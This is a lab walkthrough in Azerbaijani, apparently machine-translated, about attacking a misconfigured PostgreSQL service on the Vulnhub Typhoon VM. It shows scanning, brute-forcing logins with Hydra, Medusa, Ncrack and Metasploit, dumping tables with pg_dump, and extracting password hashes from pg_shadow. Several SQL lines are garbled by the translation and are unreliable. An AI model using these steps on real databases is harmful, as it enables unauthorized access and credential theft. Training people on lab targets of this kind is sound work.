VVerilənlər bazası nüfuz testləri zamanı aşkar olunan zəifliklərdən istifadə edərək hədəf sistemlərindən bəzi məlumatlar əldə edilə bilər. Bu yazıda, Typhoon: 1.02 virtual maşınında etibarlı bir şəkildə yapılandırılmamış PostgreSQL xidmətində məlumat toplama əməliyyatları araşdırılacaq.
Məqalədə istifadə olunan tayfun: 1.02 virtual maşın Vulnhub saytından yüklənə bilər.
https://www.vulnhub.com/entry/typhoon-102,267/
PostgreSQL , Linux, Windows və MacOS kimi əməliyyat sistemlərində işləyən açıq mənbəli əlaqəli bir verilənlər bazasıdır. Bu məqalə daxilində, PostgreSQL verilənlər bazası xidmətinin versiyasının alınması, verilənlər bazası etimadnaməsinin və verilənlər bazasında istifadə edilə bilən əsas əmrlərin müəyyənləşdirilməsi araşdırılacaq.
1) PostgreSQL verilənlər bazasının versiya məlumatlarını əldə etmək
Nmap vasitəsi, 192.168.245.132 IP ünvanı olan hədəf virtual maşında PostgreSQL xidmətini aşkarlamaq üçün istifadə edilə bilər.
nmap -Pn -n –open -sV -p 5432 192.168.245.132
Tarama nəticəsində PostgreSQL verilənlər bazasının 9.3.3 ilə 9.3.5 arasındakı bir versiyada olduğu görülür.
Oxşar məlumat toplama MSF postgres_version köməkçi modulu istifadə edilə bilər.
use auxiliary/scanner/postgres/postgres_version
show options
set RHOSTS 192.168.245.132
run
Qeyd: Bu modul səhv etimadnamə sənədləri ilə işlədildikdə versiya məlumatları əldə edilə bilməz.
2) PostgreSQL verilənlər bazası istifadəçilərinin müəyyənləşdirilməsi
Bir lüğət hücumu edərək verilənlər bazası istifadəçilərinin şəxsiyyət məlumatlarını müəyyənləşdirmək üçün aşağıdakı lüğətlərdən istifadə edilə bilər.
- /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
- /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
Şəxsi məlumatlar Hydra aləti ilə aşkar edilə bilər.
hydra -L Users.txt -P Passwords.txt postgres: //192.168.245.132: 5432
Şəxsi məlumatlar Medusa vasitəsi ilə aşkar edilə bilər.
medusa -h 192.168.245.132 -U Users.txt -P Passwords.txt -M postgres -n 5432 -v 4
Şəxsi məlumatlar Ncrack alət vasitəsi ilə aşkar edilə bilər.
ncrack -v -U Users.txt -P Passwords.txt 192.168.245.132:5432
Şəxsi məlumatlar MSF postgres_login köməkçi modulu ilə aşkar edilə bilər.
use auxiliary/scanner/postgres/postgres_login
set USER_FILE /root/Kullanicilar.txt
set PASS_FILE /root/Parolalar.txt
set RHOSTS 192.168.245.132
set VERBOSE false
run
Nəticədə aşağıdakı şəxsi məlumatlar əldə edildi.
- İstifadəçi adı: postgres
- Şifrə: postgres
3) Verilənlər bazasında əməliyyatlar həyata keçirmək
Psql əmr sətri vasitəsi verilənlər bazasına qoşulmaq üçün istifadə edilə bilər. Bu komanda xəttində səlahiyyətlər daxilində əməliyyatlar edilə bilər. Misal üçün;
- Verilənlər bazaları verilə bilər
- Verilənlər bazası rolları sadalana bilər
- Cədvəllər mövcud verilənlər bazasında yaradıla bilər. (Yeni bir verilənlər bazası da yaradıla bilər)
- Verilənlər bazasındakı table sadalana bilər
- Verilənlər bazaları arasında keçid mümkündür
Nümunə əmrləri aşağıdakı kimidir.
psql -h 192.168.245.132 -U postgres
\l
\du
CREATE TABLE Personel (Sicil INTEGER PRIMARY KEY, Adi VARCHAR, Soyadi VARCHAR);
\dt
\c template1
\dt
Cədvəl səviyyəsində əməliyyatlar həyata keçirilə bilər
INSERT INTO Personal (Qeyd, Ad, Soyad) DƏYƏRLƏRİ (2023, ‘Cyber’, ‘blackhat’);
İşçilər arasından * seçin;
açılan masa işçiləri;
SEÇİN versiyası ();
Pg_dump vasitəsi, əmr sətirinə düşmədən verilənlər bazasını avtomatik olaraq sorğu etmək üçün istifadə edilə bilər.
\c template1
CREATE TABLE Personel2 (Sicil INTEGER PRIMARY KEY, Adi VARCHAR, Soyadi VARCHAR);
CREATE TABLE
INSERT INTO Personel2(Sicil, Adi, Soyadi) VALUES (2023,’Siber-2′,’Portal-2′);
pg_dump –host=192.168.245.132 –username=postgres –password –dbname=template1 –table=’Personel’ -f KomutCiktisi.txt
Eynilə, MSF postgres_sql köməkçi modulu ilə əmrlər istifadəçinin səlahiyyətləri daxilində verilənlər bazasında işə salına bilər.
use auxiliary/admin/postgres/postgres_sql
set RHOSTS 192.168.245.132
run
İstifadəçi avtorizasiyası halında, MSF postgres_hashdump köməkçi modulu ilə verilənlər bazası istifadəçilərinin parol xülasələri əldə edilə bilər.
use auxiliary/scanner/postgres/postgres_hashdump
show options
set RHOSTS 192.168.245.132
run
Aynı sonuç pg_shadow tablosunun okunması ile de elde edilebilir.
select usename, passwd from pg_shadow;